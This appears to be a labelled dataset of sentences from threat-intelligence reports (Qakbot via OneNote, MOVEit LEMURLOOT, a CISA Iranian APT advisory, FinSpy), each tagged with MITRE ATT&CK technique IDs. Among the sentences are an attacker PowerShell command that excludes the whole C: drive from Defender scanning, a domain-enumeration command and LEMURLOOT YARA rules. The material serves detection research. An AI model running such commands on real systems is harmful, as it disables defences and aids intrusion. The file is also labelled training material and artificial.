{"sentence": "The image in Figure 9 show the batch file being created in the user’s temp location.", "labels": ["T1059.003"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "The OneNote contained aHTA file that once executed would make use of the curl utility to download Qakbot and then execute it.", "labels": ["T1105"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "Infection Flow: Figure 10 Infection Chain Spam email delivers a malicious OneNote file as an attachment or a link to a ZIP file that contains a OneNote file.", "labels": ["T1027"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "OneNote file contains an embedded HTA attachment and a fake message to lure users to execute the HTA file The HTA file uses curl utility to download the Qakbot payload and is executed by rundll32.exe.", "labels": ["T1027", "T1105", "T1204.002", "T1218.011"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "The OneNote file with the embedded HTA file is shown in the Figure 11.", "labels": ["T1027"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "Once this OneNote file is opened, it prompts the user with a fake message to double-click on open to view the attachment.", "labels": ["T1204.002"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "Folder and executes it using mshta.exe. Figure 12 Drop file in Temp location", "labels": ["T1027"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "The HTA file contains obfuscated script as shown below: Figure 13 Obfuscated HTA script The HTA file is loaded by MSHTA and creates a registry key in HKEY_CURRENT_USER\\SOFTWARE\\ with obfuscated content as shown below: Figure 14 Registry key creation", "labels": ["T1027", "T1112"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "The obfuscated registry is then read by MSHTA and the obfuscated code is de-obfuscated.", "labels": ["T1027", "T1140"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "The code is then initialized to a new function object as shown in Block1.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "Finally, MSHTA calls this function by passing the malicious URL as a parameter and then deletes the registry key as shown in Block 2.", "labels": ["T1112"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "De-obfuscated content from the HTA file is shown below: Figure 15 Deobfuscated HTA content Curl is used to download the malicious DLL file in C:\\ProgramData Folder with .png extension.", "labels": ["T1105", "T1140"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "The script will then execute the downloaded file with Rundll32.exe with the export function Wind.", "labels": ["T1105", "T1218.011"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "Figure 16 Downloaded payload in ProgramData A fake error message is displayed after loading the downloaded payload and MSHTA is terminated.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "Campain 1 – DLL File 15789B9b6f09ab7a498eebbe7c63b21a6a64356c20b7921e11e01cd7b1b495e3 Total Protection and LiveSafe Qakbot-FMZ Campaign 2: Examining Malicious OneNote Documents The OneNote document for campaign 2 is shown in Figure 19.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "At first glance it it appears that there is a ‘Open’ button embedded within the document.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "The message above the ‘Open’ button instructs the user to “double click” in order to receive the attachment.", "labels": ["T1204.002"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "Figure 19 Malicious content A closer look at the document reveals the graphical elements are all images placed in a layered style by the malicious actor.", "labels": ["T1027"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "By moving the icons aside, we can see the malicious batch file which when executed downloads the payload from the Internet and executes on the target system.", "labels": ["T1059.003", "T1105"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "Figure 20 Hidden Malicious dropper script Execution Of Payload Dropper Upon execution of the batch file, Powershell will be invoked and it fetch the Qakbot payload from Internet and execute it on the target system.", "labels": ["T1059.003", "T1105"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "This section will cover details of dropper script used to deploy QakBot.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "The Figure 21 Show the process tree after the execution of the script and you can see that powershell.exe was launched by cmd.exe and the parent of cmd.exe is onenote.exe.", "labels": ["T1059.003"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "Figure 21 Process chain", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "The contents of process cmd.exe (7176) are shown below.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "Figure 22 Cmd.exe properties", "labels": ["T1140"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "The base64 decoded batch file is shown in Figure 23.", "labels": ["T1059.003", "T1140"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "McAfee Customers should keep their systems up-to-date and refrain from clicking links and opening attachments in suspicious emails to stay protected. References: https://learn.microsoft.com/en-us/openspecs/office_file_formats/ms-onestore/405b958b-4cb7-4bac-81cc-ce0184249670 https://learn.microsoft.com/en-us/openspecs/office_file_formats/ms-onestore/8806fd18-6735-4874-b111-227b83eaac26 The post The Rising Trend of OneNote Documents for Malware delivery appeared first on McAfee Blog.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "Based on initial analysis from Mandiant incident response engagements, the earliest evidence of exploitation occurred on May 27, 2023 resulting in deployment of web shells and data theft.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "In some instances, data theft has occurred within minutes of the deployment of web shells.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "Mandiant currently attributes this activity to UNC4857, a newly created threat cluster with unknown motivations that has impacted organizations operating in a wide range of industries based in Canada, India, and the U.S., but their impact is almost certainly broader.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "The seemingly opportunistic nature of this campaign and subsequent data theft activity is consistent with activity that we’ve seen from extortion actors, which means victim organizations could potentially receive ransom emails in the coming days to weeks.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "Following exploitation of the vulnerability, the threat actors are deploying a newly discovered LEMURLOOT web shell with filenames that masquerade as human.aspx, which is a legitimate component of the MOVEit Transfer software.", "labels": ["T1036.005"], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "We have observed LEMURLOOT samples with the filenames human2.aspx and _human2.aspx.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "Samples of LEMURLOOT have been uploaded to public repositories from several additional countries—including Italy, Pakistan, and Germany—suggesting that UNC4857 has also impacted organizations in these nations.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "LEMURLOOT provides functionality tailored to execute on a system running MOVEit Transfer software, including the ability to generate commands to enumerate files and folders, retrieve configuration information, and create or delete a user with a hard-coded name.", "labels": ["T1083"], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "Initial analysis suggests that the LEMURLOOT web shell is being used to steal data previously uploaded by the users of individual MOVEit Transfer systems.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "Mandiant is aware of multiple cases where large volumes of files have been stolen from victims' MOVEit transfer systems.", "labels": ["T1005"], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "In many cases, the scanning and exploitation leading to the delivery of LEMURLOOT was sourced from IP addresses in the range 5.252.188.0/22, however interaction with the web shell and data theft came from different systems.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "Many of the hosts used to support these second-stage operations hosted RDP services with certificates generated between May 19 and 22, which is suggestive of when this infrastructure may have been staged.", "labels": ["T1021.001"], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "Analysis of this intrusion activity is ongoing and will be reflected on the CAMP.23.037 page within Mandiant Advantage; we will also update this blog post if and when additional information becomes available.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "Along with this blog post, Mandiant has produced a detailed MOVEit Containment and Hardening guide to assist organizations with this event.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "The document contains guidance on the following key items: Containment Measures Application and Infrastructure Hardening Logging and Hunting Recommendations LEMURLOOT AnalysisLEMURLOOT is a web shell written in C# tailored to interact with the MOVEit Transfer platform.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "The malware authenticates incoming connections via a hard-coded password and can run commands that will download files from the MOVEit Transfer system, extract its Azure system settings, retrieve detailed record information, create and insert a particular user, or delete this same user.", "labels": ["T1105"], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "Data returned to the system interacting with LEMURLOOT is gzip compressed.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "Authentication and Database Connection LEMURLOOT first checks if an incoming HTTP request contains the header field X-siLock-Comment and a corresponding 36-character GUID-formatted value, which varies across samples.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "It effectively uses this GUID as a password and returns an HTTP 404 status code to clients that do not pass the expected header field and value.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "If the correct password is passed to LEMURLOOT, it sends a header response X-siLock-Comment and value comment, indicating the connection is successful and can accept tasking.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "The malware connects to a SQL server from the executing host using the settings retrieved using SystemSettings.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "DatabaseSettings().", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "The resulting data is gzip compressed and returned to the client interacting with LEMURLOOT.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "If the X-siLock-Step1 header field value is -2, it deletes a user account with the LoginName and RealName set to \"Health Check Service\" using the SQL command in Figure 1.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "Note that this user is inserted using the following functionality.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "If the values of fileid and folderid are not null, the malware retrieves the file from the local MOVEit Transfer system with these same values, gzip compresses it, and returns it to the connecting client.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "If the fileid and folderid variables are null, LEMURLOOT attempts to identify an existing account with permission level “30” and", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "InstID = the value set from \"X-siLock-Step1\" otherwise it creates a new account with a randomly generated username and with LoginName and RealName values set to \"Health Check Service\" This account is inserted it into an active MOVEit application session.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "Attribution Preliminary analysis has not yet yielded evidence of concrete overlaps between UNC4857 and existing threat clusters at this time.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "However, there are some notable, but broad similarities between the tactics, techniques, and procedures (TTPs) used by UNC4857 and those associated with FIN11 data theft extortion activity.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "For example, UNC4857 and suspected FIN11 threat cluster UNC2546 have both used zero day vulnerabilities to target file transfer systems, then used tailored web shells for data theft.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "Mandiant has also observed at least one actor associated with CLOP recently seeking partners to work on SQL injections.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "For example, state-sponsored threat actors have demonstrated ongoing interest in targeting entities with policy research, military and government files, intellectual property, and personally identifiable information.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "While Mandiant currently has insufficient evidence to attribute this recent activity to a known threat actor, it is reminiscent of prior mass exploitation events targeting file transfer software and leading to FIN11-attributed data theft extortion via the CL0P^_- LEAKS data leak site (DLS).", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "In multiple cases, several weeks after the attackers steal data, FIN11 sent emails demanding an extortion payment in return for not publishing the data on the CL0P^_- LEAKS DLS.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "The delay in reaching out to victim organizations with a ransom demand could be due to various factors, such as extending the amount of time that the zero day vulnerability remained undetected and/or capacity to negotiate with a large number of victims simultaneously.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "If the goal of this operation is extortion, we anticipate that victim organizations could receive extortion emails in the coming days to weeks.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "These rules are intended to serve as a starting point for hunting efforts to identify LEMURLOOT payloads; however, they may need adjustment over time if the malware family changes.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "YARA rule for detecting compiled LEMURLOOT DLLsrule M_Webshell_LEMURLOOT_DLL_1 { meta: disclaimer = \"This rule is meant for hunting and is not tested to run in a production environment\" description = \"Detects the compiled DLLs generated from human2.aspx LEMURLOOT payloads.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "== 0x00004550 and filesize < 15KB and $net and ( ($human and 2 of ($s*)) or (3 of ($s*)) )}YARA rule for detecting LEMURLOOT ASP.NET scriptsrule M_Webshell_LEMURLOOT_1 { meta: disclaimer", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "= \"This rule is meant for hunting and is not tested to run in a production environment\" description = \"Detects the LEMURLOOT ASP.NET scripts\" md5 = \"b69e23cd45c8ac71652737ef44e15a34\" sample = \"cf23ea0d63b4c4c348865cefd70c35727ea8c82ba86d56635e488d816e60ea45x\" date = \"2023/06/01\" version = \"1\" strings: $head = \"<%@", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "Page\" $s1 = \"X-siLock-Comment\" $s2 = \"X-siLock-Step\" $s3 = \"Health Check Service\" $s4 = /pass, \\\"[a-z0-9]{8}-[a-z0-9]{4}/ $s5 = \"attachment;filename={0}\" condition: filesize > 5KB and filesize < 10KB and ( ($head in (0..50) and 2 of ($s*)) or (3 of ($s*)) )", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "We would also like to specifically thank Raymond Leong from the Mandiant FLARE team for his invaluable support.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "Summary From mid-June through mid-July 2022, CISA conducted an incident response engagement at a Federal Civilian Executive Branch (FCEB) organization where CISA observed suspected advanced persistent threat (APT) activity.", "labels": [], "doc_title": "Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Technical Details Note: This advisory uses the MITRE ATT&CK for Enterprise framework, version 11.", "labels": [], "doc_title": "Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Specifically, CISA observed HTTPS activity from IP address 51.89.181[.]64 to the organization’s VMware server.", "labels": [], "doc_title": "Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Based on trusted third-party reporting, 51.89.181[.]64 is a Lightweight Directory Access Protocol (LDAP) server associated with threat actors exploiting Log4Shell.", "labels": [], "doc_title": "Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "CISA also observed a DNS query for us‐nation‐ny[.]cf that resolved back to 51.89.181[.]64 when the victim server was returning this Log4Shell LDAP callback to the actors’ server.", "labels": [], "doc_title": "Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "As trusted-third party reporting associated Log4Shell activity from 51.89.181[.]64 with lateral movement and targeting of DCs, CISA suspected the threat actors had moved laterally and compromised the organization’s DC. From mid-June through mid-July 2022, CISA conducted an onsite incident response engagement and determined that the organization was compromised as early as February 2022, by likely Iranian government-sponsored APT actors who installed XMRig crypto mining software.", "labels": [], "doc_title": "Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "As part of their initial exploitation, CISA observed a connection to known malicious IP address 182.54.217[.]2 lasting 17.6 seconds.", "labels": [], "doc_title": "Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "[T1562.001]: powershell try{Add-MpPreference -ExclusionPath 'C:\\'; Write-Host 'added-exclusion'} catch {Write-Host 'adding-exclusion-failed' }; powershell -enc \"$BASE64 encoded payload to download next stage and execute it\" The exclusion rule allowlisted the entire c:\\drive, enabling threat actors to download tools to the c:\\drive without virus scans.", "labels": ["T1027", "T1105", "T1562.001"], "doc_title": "Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "When executed, mde.ps1 downloaded file.zip from 182.54.217[.]2 and removed mde.ps1 from the disk [T1070.004]. file.zip contained XMRig cryptocurrency mining software and associated configuration files.", "labels": ["T1070.004"], "doc_title": "Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "WinRing0x64.sys – XMRig Miner driver wuacltservice.exe – XMRig Miner config.json – XMRig miner configuration RuntimeBroker.exe – Associated file.", "labels": [], "doc_title": "Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "[T1053.005] that executed RuntimeBroker.exe daily as SYSTEM.", "labels": [], "doc_title": "Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "The Scheduled Task was named RuntimeBrokerService.exe to masquerade as a legitimate Windows task.", "labels": ["T1053.005"], "doc_title": "Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Once the threat actor established themselves on the VDI-KMS host, CISA observed the actors download around 30 megabytes of files from transfer[.]sh server associated with 144.76.136[.]153.", "labels": [], "doc_title": "Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Ngrok – a reverse proxy tool for proxying an internal service out onto an Ngrok domain, which the user can then access at a randomly generated subdomain at *.ngrok[.]io.", "labels": ["T1090"], "doc_title": "Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "The actors were able to proxy [T1090] RDP sessions, which were only observable on the local network as outgoing HTTPS port 443 connections to tunnel.us.ngrok[.]com and korgn.su.lennut[.]com (the prior domain in reverse).", "labels": ["T1021.001", "T1071.001", "T1090"], "doc_title": "Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "It is possible, but was not observed, that the threat actors configured a custom domain, or used other Ngrok tunnel domains, wildcarded here as *.ngrok[.]com, *.ngrok[.]io, ngrok.*.tunnel[.]com, or korgn.*.lennut[.]com.", "labels": [], "doc_title": "Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Once the threat actors established a deep foothold in the network and moved laterally to the domain controller, they executed the following PowerShell command on the Active Directory to obtain a list of all machines attached to the domain [T1018]: Powershell.exe get-adcomputer -filter * -properties * | select name,operatingsystem,ipv4address >", "labels": [], "doc_title": "Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "The threat actors also changed the password for the local administrator account", "labels": [], "doc_title": "Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "FBI’s 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by e-mail at CyWatch@fbi.gov. Mitigations CISA and FBI recommend implementing the mitigations below and in Table 1 to improve your organization's cybersecurity posture on the basis of threat actor behaviors.", "labels": [], "doc_title": "Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Kaspersky has been tracking deployments of this spyware since 2011.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Historically, its Windows implant was distributed through a single-stage installer.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "This version was detected and researched several times up to 2018.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "While the nature of this anomaly remained unknown, we began detecting some suspicious installers of legitimate applications, backdoored with a relatively small obfuscated downloader.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "We were unable to cluster those packages until the middle of 2019 when we found a host that served these installers among FinSpy Mobile implants for Android.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Apart from the Trojanized installers, we also observed infections involving usage of a UEFI or MBR bootkit.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "While the MBR infection has been known since at least 2014, details on the UEFI bootkit are publicly revealed in this article for the first time.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "We decided to share some of our unseen findings about the actual state of FinSpy implants.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "We will cover not only the version for Windows, but also the Linux and macOS versions, since they have a lot of internal structure and code similarities.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The full details of this research, as well as future updates on FinSpy, are available to customers of the APT reporting service through our Threat Intelligence Portal.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Contact: intelreports@kaspersky.com UEFI infection During our research, we found a UEFI bootkit that was loading FinSpy.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "All machines infected with the UEFI bootkit had the Windows Boot Manager (bootmgfw.efi) replaced with a malicious one.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "When the UEFI transfers execution to the malicious loader, it first locates the original Windows Boot Manager.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "It is stored inside the efi\\microsoft\\boot\\en-us\\ directory, with the name consisting of hexadecimal characters.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "This directory contains two more files: the Winlogon Injector and the Trojan Loader.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Sample contents of the \\efi\\microsoft\\boot\\en-us\\ directory Once the original bootloader is located, it is loaded into memory, patched and launched.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The patched launcher: Patches the function of the OS loader that transfers execution to the kernel The patched function hooks the kernel’s PsCreateSystemThread function, which, when called for the first time, creates an additional thread that decrypts the next loader stage and launches it.", "labels": ["T1106", "T1140"], "doc_title": "FinSpy unseen findings"}
{"sentence": "The next stage: Locates the Trojan loader file on the EFI partition and decrypts it Waits until a user logs on and injects the Trojan loader into exe.", "labels": ["T1055", "T1140"], "doc_title": "FinSpy unseen findings"}
{"sentence": "When the victim machine starts up, the infected MBR copies the initial loader code from the last megabyte of the hard drive to the highest available memory located before the EBDA1.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The 15h interrupt makes sure that the Windows loader does not overwrite the copied code.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "When this interrupt is called to get the size of the area before the EBDA, the hook will reduce the amount of available memory.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "As for the 13h interrupt hook (which manages reading information from disk), it patches the OS loader when it is read from disk.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Just as in the case with the EFI infection, the hooked functions place their own hooks on further OS loading stages.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The last hook in the chain creates a thread in the kernel that injects the next stage into winlogon.exe.", "labels": ["T1055"], "doc_title": "FinSpy unseen findings"}
{"sentence": "In case the infection is installed on a 32-bit machine, the process of injecting code into winlogon.exe is more complex than the one observed in the UEFI infection.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "It is as follows: A thread with trampoline shellcode is created inside exe.", "labels": ["T1055"], "doc_title": "FinSpy unseen findings"}
{"sentence": "This shellcode duplicates the exe process handle and transfers it to explorer.exe.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The second shellcode makes exe inject the Trojan loader back into winlogon.exe.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "This roundabout way of injecting code is intended to trick security solutions.", "labels": ["T1055"], "doc_title": "FinSpy unseen findings"}
{"sentence": "The injected Trojan loader is the same as the UEFI one.", "labels": ["T1055"], "doc_title": "FinSpy unseen findings"}
{"sentence": "In short, the attack scenario is as follows:", "labels": ["T1204.002"], "doc_title": "FinSpy unseen findings"}
{"sentence": "The victim downloads a Trojanized application and executes it.", "labels": ["T1204.002"], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Pre-Validator ensures that the victim machine is not used for malware analysis.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Pre-Validator downloads Security Shellcodes from the C2 server and executes them.", "labels": ["T1105"], "doc_title": "FinSpy unseen findings"}
{"sentence": "Each shellcode collects specific system information (e.g. the current process name) and uploads it back to the server.", "labels": ["T1041", "T1057", "T1082"], "doc_title": "FinSpy unseen findings"}
{"sentence": "In case a check fails, the C2 server terminates the infection process.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "It is a persistent implant likely used to ensure that the victim is the intended one.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Depending on the information collected, the C2 server may command the Post-Validator to deploy the full-fledged Trojan platform or remove the infection.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Overview of the user mode infection Trojanized applications Throughout our research, we identified numerous legitimate applications backdoored with FinSpy.", "labels": ["T1072"], "doc_title": "FinSpy unseen findings"}
{"sentence": "Examples include software installers (e.g. TeamViewer, VLC Media Player, WinRAR) as well as portable applications.", "labels": ["T1219"], "doc_title": "FinSpy unseen findings"}
{"sentence": "All observed backdoored application samples have their original digital signature.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "It is invalid, which indicates that the application has been patched.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "While the entry point function of the application looks clear, inspection of the executable’s PE file sections does reveal anomalies: the backdoored application has its last section (.rsrc on the screenshot below) expanded by 51 KB. Sections of the original (left) and backdoored (right) application Apart from that, a part of code from the .text section (roughly 8 KB) is overwritten with heavily obfuscated code, with the original application code placed in the expanded last section.", "labels": ["T1027"], "doc_title": "FinSpy unseen findings"}
{"sentence": "When the backdoored application launches, it runs as normal, i.e. the inserted obfuscated code does not impact the application workflow.", "labels": ["T1027"], "doc_title": "FinSpy unseen findings"}
{"sentence": "At some point the application executes a jump instruction that redirects execution to the obfuscated trampoline in the .text section.", "labels": ["T1027"], "doc_title": "FinSpy unseen findings"}
{"sentence": "This instruction appears to be placed randomly in the code.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "For example, a call to the CreateWindowExW function has been replaced: The original (left) and patched (right) code of the backdoored application This trampoline is protected with an obfuscator that we dubbed FinSpy Mutator.", "labels": ["T1027", "T1106"], "doc_title": "FinSpy unseen findings"}
{"sentence": "It launches a code that: Decrypts and launches a slightly modified Metasploit Reverse HTTPS stager.", "labels": ["T1071.001", "T1140"], "doc_title": "FinSpy unseen findings"}
{"sentence": "The decryption procedure: Is obfuscated with FinSpy Mutator Involves applying 10 operations (ADD, SUB, XOR, ROL, ROR) to every byte of the stager Is different in every backdoored installer.", "labels": ["T1027", "T1140"], "doc_title": "FinSpy unseen findings"}
{"sentence": "Restores the code in the .text section that was overwritten with the malicious code (recall that the original code is saved in the resource section)", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Resolves relocations in the restored code Restores the instruction that has been overwritten with a jump Jumps to the restored instruction, thus resuming the execution of the original application.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The hooked functions close all the application’s windows but do not terminate its process.", "labels": ["T1071.001"], "doc_title": "FinSpy unseen findings"}
{"sentence": "Example of the request URL: https://45[.]86[.]163[.]138/blog/index.asp?attachmentid=a46dee635db8017962741f99f1849471&d=5d7e89e6b4874d0df95141bd923556f8 (all parts of this URL vary between samples).", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "All communications between the server are encrypted with RC4.", "labels": ["T1573.001"], "doc_title": "FinSpy unseen findings"}
{"sentence": "The reply to the initial POST request contains a shellcode that we called a Security Shellcode.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "On receiving it, the Pre-Validator: Decrypts and executes the received Security Shellcode Sends the shellcode execution results to the C2 server via a POST request.", "labels": ["T1041", "T1071.001", "T1140"], "doc_title": "FinSpy unseen findings"}
